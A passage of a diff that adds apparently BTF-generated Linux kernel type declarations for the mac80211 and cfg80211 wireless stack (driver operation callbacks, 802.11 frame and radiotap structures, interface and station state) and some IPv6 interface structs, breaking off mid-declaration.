void (*bss_info_changed)(struct ieee80211_hw *, struct ieee80211_vif *, struct ieee80211_bss_conf *, u64); + void (*vif_cfg_changed)(struct ieee80211_hw *, struct ieee80211_vif *, u64); + void (*link_info_changed)(struct ieee80211_hw *, struct ieee80211_vif *, struct ieee80211_bss_conf *, u64); + int (*start_ap)(struct ieee80211_hw *, struct ieee80211_vif *, struct ieee80211_bss_conf *); + void (*stop_ap)(struct ieee80211_hw *, struct ieee80211_vif *, struct ieee80211_bss_conf *); + u64 (*prepare_multicast)(struct ieee80211_hw *, struct netdev_hw_addr_list *); + void (*configure_filter)(struct ieee80211_hw *, unsigned int, unsigned int *, u64); + void (*config_iface_filter)(struct ieee80211_hw *, struct ieee80211_vif *, unsigned int, unsigned int); + int (*set_tim)(struct ieee80211_hw *, struct ieee80211_sta *, bool); + int (*set_key)(struct ieee80211_hw *, enum set_key_cmd, struct ieee80211_vif *, struct ieee80211_sta *, struct ieee80211_key_conf *); + void (*update_tkip_key)(struct ieee80211_hw *, struct ieee80211_vif *, struct ieee80211_key_conf *, struct ieee80211_sta *, u32, u16 *); + void (*set_rekey_data)(struct ieee80211_hw *, struct ieee80211_vif *, struct cfg80211_gtk_rekey_data *); + void (*set_default_unicast_key)(struct ieee80211_hw *, struct ieee80211_vif *, int); + int (*hw_scan)(struct ieee80211_hw *, struct ieee80211_vif *, struct ieee80211_scan_request *); + void (*cancel_hw_scan)(struct ieee80211_hw *, struct ieee80211_vif *); + int (*sched_scan_start)(struct ieee80211_hw *, struct ieee80211_vif *, struct cfg80211_sched_scan_request *, struct ieee80211_scan_ies *); + int (*sched_scan_stop)(struct ieee80211_hw *, struct ieee80211_vif *); + void (*sw_scan_start)(struct ieee80211_hw *, struct ieee80211_vif *, const u8 *); + void (*sw_scan_complete)(struct ieee80211_hw *, struct ieee80211_vif *); + int (*get_stats)(struct ieee80211_hw *, struct ieee80211_low_level_stats *); + void (*get_key_seq)(struct ieee80211_hw *, struct ieee80211_key_conf *, struct ieee80211_key_seq *); + int (*set_frag_threshold)(struct ieee80211_hw *, u32); + int (*set_rts_threshold)(struct ieee80211_hw *, u32); + int (*sta_add)(struct ieee80211_hw *, struct ieee80211_vif *, struct ieee80211_sta *); + int (*sta_remove)(struct ieee80211_hw *, struct ieee80211_vif *, struct ieee80211_sta *); + void (*sta_notify)(struct ieee80211_hw *, struct ieee80211_vif *, enum sta_notify_cmd, struct ieee80211_sta *); + int (*sta_set_txpwr)(struct ieee80211_hw *, struct ieee80211_vif *, struct ieee80211_sta *); + int (*sta_state)(struct ieee80211_hw *, struct ieee80211_vif *, struct ieee80211_sta *, enum ieee80211_sta_state, enum ieee80211_sta_state); + void (*sta_pre_rcu_remove)(struct ieee80211_hw *, struct ieee80211_vif *, struct ieee80211_sta *); + void (*sta_rc_update)(struct ieee80211_hw *, struct ieee80211_vif *, struct ieee80211_sta *, u32); + void (*sta_rate_tbl_update)(struct ieee80211_hw *, struct ieee80211_vif *, struct ieee80211_sta *); + void (*sta_statistics)(struct ieee80211_hw *, struct ieee80211_vif *, struct ieee80211_sta *, struct station_info *); + int (*conf_tx)(struct ieee80211_hw *, struct ieee80211_vif *, unsigned int, u16, const struct ieee80211_tx_queue_params *); + u64 (*get_tsf)(struct ieee80211_hw *, struct ieee80211_vif *); + void (*set_tsf)(struct ieee80211_hw *, struct ieee80211_vif *, u64); + void (*offset_tsf)(struct ieee80211_hw *, struct ieee80211_vif *, s64); + void (*reset_tsf)(struct ieee80211_hw *, struct ieee80211_vif *); + int (*tx_last_beacon)(struct ieee80211_hw *); + int (*ampdu_action)(struct ieee80211_hw *, struct ieee80211_vif *, struct ieee80211_ampdu_params *); + int (*get_survey)(struct ieee80211_hw *, int, struct survey_info *); + void (*rfkill_poll)(struct ieee80211_hw *); + void (*set_coverage_class)(struct ieee80211_hw *, s16); + void (*flush)(struct ieee80211_hw *, struct ieee80211_vif *, u32, bool); + void (*flush_sta)(struct ieee80211_hw *, struct ieee80211_vif *, struct ieee80211_sta *); + void (*channel_switch)(struct ieee80211_hw *, struct ieee80211_vif *, struct ieee80211_channel_switch *); + int (*set_antenna)(struct ieee80211_hw *, u32, u32); + int (*get_antenna)(struct ieee80211_hw *, u32 *, u32 *); + int (*remain_on_channel)(struct ieee80211_hw *, struct ieee80211_vif *, struct ieee80211_channel *, int, enum ieee80211_roc_type); + int (*cancel_remain_on_channel)(struct ieee80211_hw *, struct ieee80211_vif *); + int (*set_ringparam)(struct ieee80211_hw *, u32, u32); + void (*get_ringparam)(struct ieee80211_hw *, u32 *, u32 *, u32 *, u32 *); + bool (*tx_frames_pending)(struct ieee80211_hw *); + int (*set_bitrate_mask)(struct ieee80211_hw *, struct ieee80211_vif *, const struct cfg80211_bitrate_mask *); + void (*event_callback)(struct ieee80211_hw *, struct ieee80211_vif *, const struct ieee80211_event *); + void (*allow_buffered_frames)(struct ieee80211_hw *, struct ieee80211_sta *, u16, int, enum ieee80211_frame_release_type, bool); + void (*release_buffered_frames)(struct ieee80211_hw *, struct ieee80211_sta *, u16, int, enum ieee80211_frame_release_type, bool); + int (*get_et_sset_count)(struct ieee80211_hw *, struct ieee80211_vif *, int); + void (*get_et_stats)(struct ieee80211_hw *, struct ieee80211_vif *, struct ethtool_stats *, u64 *); + void (*get_et_strings)(struct ieee80211_hw *, struct ieee80211_vif *, u32, u8 *); + void (*mgd_prepare_tx)(struct ieee80211_hw *, struct ieee80211_vif *, struct ieee80211_prep_tx_info *); + void (*mgd_complete_tx)(struct ieee80211_hw *, struct ieee80211_vif *, struct ieee80211_prep_tx_info *); + void (*mgd_protect_tdls_discover)(struct ieee80211_hw *, struct ieee80211_vif *, unsigned int); + int (*add_chanctx)(struct ieee80211_hw *, struct ieee80211_chanctx_conf *); + void (*remove_chanctx)(struct ieee80211_hw *, struct ieee80211_chanctx_conf *); + void (*change_chanctx)(struct ieee80211_hw *, struct ieee80211_chanctx_conf *, u32); + int (*assign_vif_chanctx)(struct ieee80211_hw *, struct ieee80211_vif *, struct ieee80211_bss_conf *, struct ieee80211_chanctx_conf *); + void (*unassign_vif_chanctx)(struct ieee80211_hw *, struct ieee80211_vif *, struct ieee80211_bss_conf *, struct ieee80211_chanctx_conf *); + int (*switch_vif_chanctx)(struct ieee80211_hw *, struct ieee80211_vif_chanctx_switch *, int, enum ieee80211_chanctx_switch_mode); + void (*reconfig_complete)(struct ieee80211_hw *, enum ieee80211_reconfig_type); + void (*ipv6_addr_change)(struct ieee80211_hw *, struct ieee80211_vif *, struct inet6_dev *); + void (*channel_switch_beacon)(struct ieee80211_hw *, struct ieee80211_vif *, struct cfg80211_chan_def *); + int (*pre_channel_switch)(struct ieee80211_hw *, struct ieee80211_vif *, struct ieee80211_channel_switch *); + int (*post_channel_switch)(struct ieee80211_hw *, struct ieee80211_vif *, struct ieee80211_bss_conf *); + void (*abort_channel_switch)(struct ieee80211_hw *, struct ieee80211_vif *, struct ieee80211_bss_conf *); + void (*channel_switch_rx_beacon)(struct ieee80211_hw *, struct ieee80211_vif *, struct ieee80211_channel_switch *); + int (*join_ibss)(struct ieee80211_hw *, struct ieee80211_vif *); + void (*leave_ibss)(struct ieee80211_hw *, struct ieee80211_vif *); + u32 (*get_expected_throughput)(struct ieee80211_hw *, struct ieee80211_sta *); + int (*get_txpower)(struct ieee80211_hw *, struct ieee80211_vif *, int *); + int (*tdls_channel_switch)(struct ieee80211_hw *, struct ieee80211_vif *, struct ieee80211_sta *, u8, struct cfg80211_chan_def *, struct sk_buff *, u32); + void (*tdls_cancel_channel_switch)(struct ieee80211_hw *, struct ieee80211_vif *, struct ieee80211_sta *); + void (*tdls_recv_channel_switch)(struct ieee80211_hw *, struct ieee80211_vif *, struct ieee80211_tdls_ch_sw_params *); + void (*wake_tx_queue)(struct ieee80211_hw *, struct ieee80211_txq *); + void (*sync_rx_queues)(struct ieee80211_hw *); + int (*start_nan)(struct ieee80211_hw *, struct ieee80211_vif *, struct cfg80211_nan_conf *); + int (*stop_nan)(struct ieee80211_hw *, struct ieee80211_vif *); + int (*nan_change_conf)(struct ieee80211_hw *, struct ieee80211_vif *, struct cfg80211_nan_conf *, u32); + int (*add_nan_func)(struct ieee80211_hw *, struct ieee80211_vif *, const struct cfg80211_nan_func *); + void (*del_nan_func)(struct ieee80211_hw *, struct ieee80211_vif *, u8); + bool (*can_aggregate_in_amsdu)(struct ieee80211_hw *, struct sk_buff *, struct sk_buff *); + int (*get_ftm_responder_stats)(struct ieee80211_hw *, struct ieee80211_vif *, struct cfg80211_ftm_responder_stats *); + int (*start_pmsr)(struct ieee80211_hw *, struct ieee80211_vif *, struct cfg80211_pmsr_request *); + void (*abort_pmsr)(struct ieee80211_hw *, struct ieee80211_vif *, struct cfg80211_pmsr_request *); + int (*set_tid_config)(struct ieee80211_hw *, struct ieee80211_vif *, struct ieee80211_sta *, struct cfg80211_tid_config *); + int (*reset_tid_config)(struct ieee80211_hw *, struct ieee80211_vif *, struct ieee80211_sta *, u8); + void (*update_vif_offload)(struct ieee80211_hw *, struct ieee80211_vif *); + void (*sta_set_4addr)(struct ieee80211_hw *, struct ieee80211_vif *, struct ieee80211_sta *, bool); + int (*set_sar_specs)(struct ieee80211_hw *, const struct cfg80211_sar_specs *); + void (*sta_set_decap_offload)(struct ieee80211_hw *, struct ieee80211_vif *, struct ieee80211_sta *, bool); + void (*add_twt_setup)(struct ieee80211_hw *, struct ieee80211_sta *, struct ieee80211_twt_setup *); + void (*twt_teardown_request)(struct ieee80211_hw *, struct ieee80211_sta *, u8); + int (*set_radar_background)(struct ieee80211_hw *, struct cfg80211_chan_def *); + int (*net_fill_forward_path)(struct ieee80211_hw *, struct ieee80211_vif *, struct ieee80211_sta *, struct net_device_path_ctx *, struct net_device_path *); + bool (*can_activate_links)(struct ieee80211_hw *, struct ieee80211_vif *, u16); + int (*change_vif_links)(struct ieee80211_hw *, struct ieee80211_vif *, u16, u16, struct ieee80211_bss_conf **); + int (*change_sta_links)(struct ieee80211_hw *, struct ieee80211_vif *, struct ieee80211_sta *, u16, u16); + int (*set_hw_timestamp)(struct ieee80211_hw *, struct ieee80211_vif *, struct cfg80211_set_hw_timestamp *); + int (*net_setup_tc)(struct ieee80211_hw *, struct ieee80211_vif *, struct net_device *, enum tc_setup_type, void *); + enum ieee80211_neg_ttlm_res (*can_neg_ttlm)(struct ieee80211_hw *, struct ieee80211_vif *, struct ieee80211_neg_ttlm *); +}; + +struct ieee80211_power_rule { + u32 max_antenna_gain; + u32 max_eirp; +}; + +struct ieee80211_prep_tx_info { + u16 duration; + u16 subtype; + u8 success: 1; + u8 was_assoc: 1; + int link_id; +}; + +struct ieee80211_pspoll { + __le16 frame_control; + __le16 aid; + u8 bssid[6]; + u8 ta[6]; +}; + +struct ieee80211_qos_hdr { + __le16 frame_control; + __le16 duration_id; + u8 addr1[6]; + u8 addr2[6]; + u8 addr3[6]; + __le16 seq_ctrl; + __le16 qos_ctrl; +}; + +struct ieee80211_qos_hdr_4addr { + __le16 frame_control; + __le16 duration_id; + u8 addr1[6]; + u8 addr2[6]; + u8 addr3[6]; + __le16 seq_ctrl; + u8 addr4[6]; + __le16 qos_ctrl; +}; + +struct ieee80211_radiotap_eht { + __le32 known; + __le32 data[9]; + __le32 user_info[0]; +}; + +struct ieee80211_radiotap_eht_usig { + __le32 common; + __le32 value; + __le32 mask; +}; + +struct ieee80211_radiotap_he { + __le16 data1; + __le16 data2; + __le16 data3; + __le16 data4; + __le16 data5; + __le16 data6; +}; + +struct ieee80211_radiotap_he_mu { + __le16 flags1; + __le16 flags2; + u8 ru_ch1[4]; + u8 ru_ch2[4]; +}; + +struct ieee80211_radiotap_header { + uint8_t it_version; + uint8_t it_pad; + __le16 it_len; + __le32 it_present; + __le32 it_optional[0]; +}; + +struct ieee80211_radiotap_vendor_namespaces; + +struct ieee80211_radiotap_namespace; + +struct ieee80211_radiotap_iterator { + struct ieee80211_radiotap_header *_rtheader; + const struct ieee80211_radiotap_vendor_namespaces *_vns; + const struct ieee80211_radiotap_namespace *current_namespace; + unsigned char *_arg; + unsigned char *_next_ns_data; + __le32 *_next_bitmap; + unsigned char *this_arg; + int this_arg_index; + int this_arg_size; + int is_radiotap_ns; + int _max_length; + int _arg_index; + uint32_t _bitmap_shifter; + int _reset_on_ext; +}; + +struct ieee80211_radiotap_lsig { + __le16 data1; + __le16 data2; +}; + +struct radiotap_align_size; + +struct ieee80211_radiotap_namespace { + const struct radiotap_align_size *align_size; + int n_bits; + uint32_t oui; + uint8_t subns; +}; + +struct ieee80211_radiotap_tlv { + __le16 type; + __le16 len; + u8 data[0]; +}; + +struct ieee80211_radiotap_vendor_content { + u8 oui[3]; + u8 oui_subtype; + __le16 vendor_type; + __le16 reserved; + u8 data[0]; +}; + +struct ieee80211_radiotap_vendor_namespaces { + const struct ieee80211_radiotap_namespace *ns; + int n_ns; +}; + +struct ieee80211_rann_ie { + u8 rann_flags; + u8 rann_hopcount; + u8 rann_ttl; + u8 rann_addr[6]; + __le32 rann_seq; + __le32 rann_interval; + __le32 rann_metric; +} __attribute__((packed)); + +struct ieee80211_rate { + u32 flags; + u16 bitrate; + u16 hw_value; + u16 hw_value_short; +}; + +struct ieee80211_rate_status { + struct rate_info rate_idx; + u8 try_count; + u8 tx_power_idx; +}; + +struct ieee80211_wmm_ac { + u16 cw_min; + u16 cw_max; + u16 cot; + u8 aifsn; +}; + +struct ieee80211_wmm_rule { + struct ieee80211_wmm_ac client[4]; + struct ieee80211_wmm_ac ap[4]; +}; + +struct ieee80211_reg_rule { + struct ieee80211_freq_range freq_range; + struct ieee80211_power_rule power_rule; + struct ieee80211_wmm_rule wmm_rule; + u32 flags; + u32 dfs_cac_ms; + bool has_wmm; + s8 psd; +}; + +struct ieee80211_regdomain { + struct callback_head callback_head; + u32 n_reg_rules; + char alpha2[3]; + enum nl80211_dfs_regions dfs_region; + struct ieee80211_reg_rule reg_rules[0]; +}; + +struct ieee80211_rnr_mld_params { + u8 mld_id; + __le16 params; +} __attribute__((packed)); + +struct ieee80211_roc_work { + struct list_head list; + struct ieee80211_sub_if_data *sdata; + struct ieee80211_channel *chan; + bool started; + bool abort; + bool hw_begun; + bool notified; + bool on_channel; + unsigned long start_time; + u32 duration; + u32 req_duration; + struct sk_buff *frame; + u64 cookie; + u64 mgmt_tx_cookie; + enum ieee80211_roc_type type; +}; + +struct ieee80211_rts { + __le16 frame_control; + __le16 duration; + u8 ra[6]; + u8 ta[6]; +}; + +struct link_sta_info; + +struct ieee80211_rx_data { + struct list_head *list; + struct sk_buff *skb; + struct ieee80211_local *local; + struct ieee80211_sub_if_data *sdata; + struct ieee80211_link_data *link; + struct sta_info *sta; + struct link_sta_info *link_sta; + struct ieee80211_key *key; + unsigned int flags; + int seqno_idx; + int security_idx; + int link_id; + union { + struct { + u32 iv32; + u16 iv16; + } tkip; + struct { + u8 pn[6]; + } ccm_gcm; + }; +}; + +struct ieee80211_rx_status { + u64 mactime; + union { + u64 boottime_ns; + ktime_t ack_tx_hwtstamp; + }; + u32 device_timestamp; + u32 ampdu_reference; + u32 flag; + u16 freq: 13; + u16 freq_offset: 1; + u8 enc_flags; + u8 encoding: 3; + u8 bw: 4; + union { + struct { + u8 he_ru: 3; + u8 he_gi: 2; + u8 he_dcm: 1; + }; + struct { + u8 ru: 4; + u8 gi: 2; + } eht; + }; + u8 rate_idx; + u8 nss; + u8 rx_flags; + u8 band; + u8 antenna; + s8 signal; + u8 chains; + s8 chain_signal[4]; + u8 ampdu_delimiter_crc; + u8 zero_length_psdu_type; + u8 link_valid: 1; + u8 link_id: 4; +}; + +struct ieee80211_s1g_bcn_compat_ie { + __le16 compat_info; + __le16 beacon_int; + __le32 tsf_completion; +}; + +struct ieee80211_s1g_oper_ie { + u8 ch_width; + u8 oper_class; + u8 primary_ch; + u8 oper_ch; + __le16 basic_mcs_nss; +}; + +struct ieee80211_sband_iftype_data { + u16 types_mask; + struct ieee80211_sta_he_cap he_cap; + struct ieee80211_he_6ghz_capa he_6ghz_capa; + struct ieee80211_sta_eht_cap eht_cap; + struct { + const u8 *data; + unsigned int len; + } vendor_elems; +} __attribute__((packed)); + +struct ieee80211_scan_ies { + const u8 *ies[6]; + size_t len[6]; + const u8 *common_ies; + size_t common_ie_len; +}; + +struct ieee80211_scan_request { + struct ieee80211_scan_ies ies; + struct cfg80211_scan_request req; +}; + +struct ieee80211_sec_chan_offs_ie { + u8 sec_chan_offs; +}; + +struct ieee80211_sta_rates; + +struct ieee80211_sta { + u8 addr[6]; + u16 aid; + u16 max_rx_aggregation_subframes; + bool wme; + u8 uapsd_queues; + u8 max_sp; + struct ieee80211_sta_rates __attribute__((btf_type_tag("rcu"))) *rates; + bool tdls; + bool tdls_initiator; + bool mfp; + bool mlo; + bool spp_amsdu; + u8 max_amsdu_subframes; + struct ieee80211_sta_aggregates *cur; + bool support_p2p_ps; + struct ieee80211_txq *txq[17]; + u16 valid_links; + long: 0; + struct ieee80211_link_sta deflink; + struct ieee80211_link_sta __attribute__((btf_type_tag("rcu"))) *link[15]; + u8 drv_priv[0]; +}; + +struct ieee80211_sta_rates { + struct callback_head callback_head; + struct { + s8 idx; + u8 count; + u8 count_cts; + u8 count_rts; + u16 flags; + } rate[4]; +}; + +struct ieee80211_sta_rx_stats { + unsigned long packets; + unsigned long last_rx; + unsigned long num_duplicates; + unsigned long fragments; + unsigned long dropped; + int last_signal; + u8 chains; + s8 chain_signal_last[4]; + u32 last_rate; + struct u64_stats_sync syncp; + u64 bytes; + u64 msdu[17]; +}; + +struct ieee80211_sta_s1g_cap { + bool s1g; + u8 cap[10]; + u8 nss_mcs[5]; +}; + +struct wireless_dev { + struct wiphy *wiphy; + enum nl80211_iftype iftype; + struct list_head list; + struct net_device *netdev; + u32 identifier; + struct list_head mgmt_registrations; + u8 mgmt_registrations_need_update: 1; + bool use_4addr; + bool is_running; + bool registered; + bool registering; + short: 0; + u8 address[6]; + struct cfg80211_conn *conn; + struct cfg80211_cached_keys *connect_keys; + enum ieee80211_bss_type conn_bss_type; + u32 conn_owner_nlportid; + struct work_struct disconnect_wk; + u8 disconnect_bssid[6]; + struct list_head event_list; + spinlock_t event_lock; + u8 connected: 1; + bool ps; + int ps_timeout; + u32 ap_unexpected_nlportid; + u32 owner_nlportid; + bool nl_owner_dead; + struct wiphy_work cqm_rssi_work; + struct cfg80211_cqm_config __attribute__((btf_type_tag("rcu"))) *cqm_config; + struct list_head pmsr_list; + spinlock_t pmsr_lock; + struct work_struct pmsr_free_wk; + unsigned long unprot_beacon_reported; + union { + struct { + u8 connected_addr[6]; + u8 ssid[32]; + u8 ssid_len; + long: 0; + } client; + struct { + int beacon_interval; + struct cfg80211_chan_def preset_chandef; + struct cfg80211_chan_def chandef; + u8 id[32]; + u8 id_len; + u8 id_up_len; + } mesh; + struct { + struct cfg80211_chan_def preset_chandef; + u8 ssid[32]; + u8 ssid_len; + } ap; + struct { + struct cfg80211_internal_bss *current_bss; + struct cfg80211_chan_def chandef; + int beacon_interval; + u8 ssid[32]; + u8 ssid_len; + } ibss; + struct { + struct cfg80211_chan_def chandef; + } ocb; + } u; + struct { + u8 addr[6]; + union { + struct { + unsigned int beacon_interval; + struct cfg80211_chan_def chandef; + } ap; + struct { + struct cfg80211_internal_bss *current_bss; + } client; + }; + bool cac_started; + unsigned long cac_start_time; + unsigned int cac_time_ms; + } links[15]; + u16 valid_links; +}; + +struct ieee80211_vif_cfg { + bool assoc; + bool ibss_joined; + bool ibss_creator; + bool ps; + u16 aid; + u16 eml_cap; + u16 eml_med_sync_delay; + u16 mld_capa_op; + __be32 arp_addr_list[4]; + int arp_addr_cnt; + u8 ssid[32]; + size_t ssid_len; + bool s1g; + bool idle; + u8 ap_addr[6]; +}; + +struct ieee80211_vif { + enum nl80211_iftype type; + struct ieee80211_vif_cfg cfg; + struct ieee80211_bss_conf bss_conf; + struct ieee80211_bss_conf __attribute__((btf_type_tag("rcu"))) *link_conf[15]; + u16 valid_links; + u16 active_links; + u16 dormant_links; + u16 suspended_links; + struct ieee80211_neg_ttlm neg_ttlm; + u8 addr[6]; + bool p2p; + u8 cab_queue; + u8 hw_queue[4]; + struct ieee80211_txq *txq; + netdev_features_t netdev_features; + u32 driver_flags; + u32 offload_flags; + bool probe_req_reg; + bool rx_mcast_action_reg; + struct ieee80211_vif *mbssid_tx_vif; + u8 drv_priv[0]; +}; + +struct mac80211_qos_map; + +struct ieee80211_sub_if_data { + struct list_head list; + struct wireless_dev wdev; + struct list_head key_list; + int crypto_tx_tailroom_needed_cnt; + int crypto_tx_tailroom_pending_dec; + struct wiphy_delayed_work dec_tailroom_needed_wk; + struct net_device *dev; + struct ieee80211_local *local; + unsigned int flags; + unsigned long state; + bool csa_blocked_queues; + char name[16]; + struct ieee80211_fragment_cache frags; + u16 noack_map; + u8 wmm_acm; + struct ieee80211_key __attribute__((btf_type_tag("rcu"))) *keys[4]; + struct ieee80211_key __attribute__((btf_type_tag("rcu"))) *default_unicast_key; + u16 sequence_number; + u16 mld_mcast_seq; + __be16 control_port_protocol; + bool control_port_no_encrypt; + bool control_port_no_preauth; + bool control_port_over_nl80211; + atomic_t num_tx_queued; + struct mac80211_qos_map __attribute__((btf_type_tag("rcu"))) *qos_map; + struct wiphy_work work; + struct sk_buff_head skb_queue; + struct sk_buff_head status_queue; + struct ieee80211_if_ap *bss; + u32 rc_rateidx_mask[6]; + bool rc_has_mcs_mask[6]; + u8 rc_rateidx_mcs_mask[60]; + bool rc_has_vht_mcs_mask[6]; + u16 rc_rateidx_vht_mcs_mask[48]; + u32 beacon_rateidx_mask[6]; + bool beacon_rate_set; + union { + struct ieee80211_if_ap ap; + struct ieee80211_if_vlan vlan; + struct ieee80211_if_managed mgd; + struct ieee80211_if_ibss ibss; + struct ieee80211_if_mesh mesh; + struct ieee80211_if_ocb ocb; + struct ieee80211_if_mntr mntr; + struct ieee80211_if_nan nan; + } u; + struct ieee80211_link_data deflink; + struct ieee80211_link_data __attribute__((btf_type_tag("rcu"))) *link[15]; + struct wiphy_work activate_links_work; + u16 desired_active_links; + u16 restart_active_links; + struct ieee80211_vif vif; +}; + +struct ieee80211_supported_band { + struct ieee80211_channel *channels; + struct ieee80211_rate *bitrates; + enum nl80211_band band; + int n_channels; + int n_bitrates; + struct ieee80211_sta_ht_cap ht_cap; + struct ieee80211_sta_vht_cap vht_cap; + struct ieee80211_sta_s1g_cap s1g_cap; + struct ieee80211_edmg edmg_cap; + u16 n_iftype_data; + const struct ieee80211_sband_iftype_data *iftype_data; +}; + +struct ieee80211_tbtt_info_7_8_9 { + u8 tbtt_offset; + u8 bssid[6]; + u8 bss_params; + s8 psd_20; +}; + +struct ieee80211_tbtt_info_ge_11 { + u8 tbtt_offset; + u8 bssid[6]; + __le32 short_ssid; + u8 bss_params; + s8 psd_20; + struct ieee80211_rnr_mld_params mld_params; +} __attribute__((packed)); + +struct ieee80211_tdls_ch_sw_params { + struct ieee80211_sta *sta; + struct cfg80211_chan_def *chandef; + u8 action_code; + u32 status; + u32 timestamp; + u16 switch_time; + u16 switch_timeout; + struct sk_buff *tmpl_skb; + u32 ch_sw_tm_ie; +}; + +struct ieee80211_tdls_data { + u8 da[6]; + u8 sa[6]; + __be16 ether_type; + u8 payload_type; + u8 category; + u8 action_code; + union { + struct { + u8 dialog_token; + __le16 capability; + u8 variable[0]; + } __attribute__((packed)) setup_req; + struct { + __le16 status_code; + u8 dialog_token; + __le16 capability; + u8 variable[0]; + } __attribute__((packed)) setup_resp; + struct { + __le16 status_code; + u8 dialog_token; + u8 variable[0]; + } __attribute__((packed)) setup_cfm; + struct { + __le16 reason_code; + u8 variable[0]; + } teardown; + struct { + u8 dialog_token; + u8 variable[0]; + } discover_req; + struct { + u8 target_channel; + u8 oper_class; + u8 variable[0]; + } chan_switch_req; + struct { + __le16 status_code; + u8 variable[0]; + } chan_switch_resp; + } u; +}; + +struct ieee80211_tdls_lnkie { + u8 ie_type; + u8 ie_len; + u8 bssid[6]; + u8 init_sta[6]; + u8 resp_sta[6]; +}; + +struct ieee80211_tim_ie { + u8 dtim_count; + u8 dtim_period; + u8 bitmap_ctrl; + union { + u8 required_octet; + struct { + struct {} __empty_virtual_map; + u8 virtual_map[0]; + }; + }; +}; + +struct ieee80211_timeout_interval_ie { + u8 type; + __le32 value; +} __attribute__((packed)); + +struct ieee80211_tpt_blink { + int throughput; + int blink_time; +}; + +struct ieee80211_ttlm_elem { + u8 control; + u8 optional[0]; +}; + +struct ieee80211_twt_params { + __le16 req_type; + __le64 twt; + u8 min_twt_dur; + __le16 mantissa; + u8 channel; +} __attribute__((packed)); + +struct ieee80211_twt_setup { + u8 dialog_token; + u8 element_id; + u8 length; + u8 control; + u8 params[0]; +}; + +struct ieee80211_tx_control { + struct ieee80211_sta *sta; +}; + +struct ieee80211_tx_rate { + s8 idx; + u16 count: 5; + u16 flags: 11; +} __attribute__((packed)); + +struct ieee80211_tx_data { + struct sk_buff *skb; + struct sk_buff_head skbs; + struct ieee80211_local *local; + struct ieee80211_sub_if_data *sdata; + struct sta_info *sta; + struct ieee80211_key *key; + struct ieee80211_tx_rate rate; + unsigned int flags; +}; + +struct ieee80211_tx_info { + u32 flags; + u32 band: 3; + u32 status_data_idr: 1; + u32 status_data: 13; + u32 hw_queue: 4; + u32 tx_time_est: 10; + union { + struct { + union { + struct { + struct ieee80211_tx_rate rates[4]; + s8 rts_cts_rate_idx; + u8 use_rts: 1; + u8 use_cts_prot: 1; + u8 short_preamble: 1; + u8 skip_table: 1; + u8 antennas: 2; + }; + unsigned long jiffies; + }; + struct ieee80211_vif *vif; + struct ieee80211_key_conf *hw_key; + u32 flags; + codel_time_t enqueue_time; + } control; + struct { + u64 cookie; + } ack; + struct { + struct ieee80211_tx_rate rates[4]; + s32 ack_signal; + u8 ampdu_ack_len; + u8 ampdu_len; + u8 antenna; + u8 pad; + u16 tx_time; + u8 flags; + u8 pad2; + void *status_driver_data[2]; + } status; + struct { + struct ieee80211_tx_rate driver_rates[4]; + u8 pad[4]; + void *rate_driver_data[3]; + }; + void *driver_data[5]; + }; +}; + +struct ieee80211_tx_pwr_env { + u8 info; + u8 variable[0]; +}; + +struct ieee80211_tx_rate_control { + struct ieee80211_hw *hw; + struct ieee80211_supported_band *sband; + struct ieee80211_bss_conf *bss_conf; + struct sk_buff *skb; + struct ieee80211_tx_rate reported_rate; + bool rts; + bool short_preamble; + u32 rate_idx_mask; + u8 *rate_idx_mcs_mask; + bool bss; +}; + +struct ieee80211_tx_status { + struct ieee80211_sta *sta; + struct ieee80211_tx_info *info; + struct sk_buff *skb; + struct ieee80211_rate_status *rates; + ktime_t ack_hwtstamp; + u8 n_rates; + struct list_head *free_list; +}; + +struct ieee80211_txq { + struct ieee80211_vif *vif; + struct ieee80211_sta *sta; + u8 tid; + u8 ac; + long: 0; + u8 drv_priv[0]; +}; + +struct ieee80211_txq_params { + enum nl80211_ac ac; + u16 txop; + u16 cwmin; + u16 cwmax; + u8 aifs; + int link_id; +}; + +struct ieee80211_txrx_stypes { + u16 tx; + u16 rx; +}; + +struct ieee80211_vht_operation { + u8 chan_width; + u8 center_freq_seg0_idx; + u8 center_freq_seg1_idx; + __le16 basic_mcs_set; +} __attribute__((packed)); + +struct ieee80211_vif_chanctx_switch { + struct ieee80211_vif *vif; + struct ieee80211_bss_conf *link_conf; + struct ieee80211_chanctx_conf *old_ctx; + struct ieee80211_chanctx_conf *new_ctx; +}; + +struct ieee80211_wide_bw_chansw_ie { + u8 new_channel_width; + u8 new_center_freq_seg0; + u8 new_center_freq_seg1; +}; + +struct ieee80211_wmm_ac_param { + u8 aci_aifsn; + u8 cw; + __le16 txop_limit; +}; + +struct ieee80211_wmm_param_ie { + u8 element_id; + u8 len; + u8 oui[3]; + u8 oui_type; + u8 oui_subtype; + u8 version; + u8 qos_info; + u8 reserved; + struct ieee80211_wmm_ac_param ac[4]; +}; + +struct ieee80211s_hdr { + u8 flags; + u8 ttl; + __le32 seqnum; + u8 eaddr1[6]; + u8 eaddr2[6]; +} __attribute__((packed)); + +struct if6_iter_state { + struct seq_net_private p; + int bucket; + int offset; +}; + +struct if_settings { + unsigned int type; + unsigned int size; + union { + raw_hdlc_proto __attribute__((btf_type_tag("user"))) *raw_hdlc; + cisco_proto __attribute__((btf_type_tag("user"))) *cisco; + fr_proto __attribute__((btf_type_tag("user"))) *fr; + fr_proto_pvc __attribute__((btf_type_tag("user"))) *fr_pvc; + fr_proto_pvc_info __attribute__((btf_type_tag("user"))) *fr_pvc_info; + x25_hdlc_proto __attribute__((btf_type_tag("user"))) *x25; + sync_serial_settings __attribute__((btf_type_tag("user"))) *sync; + te1_settings __attribute__((btf_type_tag("user"))) *te1; + } ifs_ifsu; +}; + +struct if_stats_msg { + __u8 family; + __u8 pad1; + __u16 pad2; + __u32 ifindex; + __u32 filter_mask; +}; + +struct ifa6_config { + const struct in6_addr *pfx; + unsigned int plen; + u8 ifa_proto; + const struct in6_addr *peer_pfx; + u32 rt_priority; + u32 ifa_flags; + u32 preferred_lft; + u32 valid_lft; + u16 scope; +}; + +struct ifa_cacheinfo { + __u32 ifa_prefered; + __u32 ifa_valid; + __u32 cstamp; + __u32 tstamp; +}; + +struct ifacaddr6 { + struct in6_addr aca_addr; + struct fib6_info *aca_rt; + struct ifacaddr6 __attribute__((btf_type_tag("rcu"))) *aca_next; + struct hlist_node aca_addr_lst; + int aca_users; + refcount_t aca_refcnt; + unsigned long aca_cstamp; + unsigned long aca_tstamp; + struct callback_head rcu; +}; + +struct iface_combination_params { + int radio_idx; + int num_different_channels; + u8 radar_detect; + int iftype_num[13]; + u32 new_beacon_int; +}; + +struct ifaddrlblmsg { + __u8 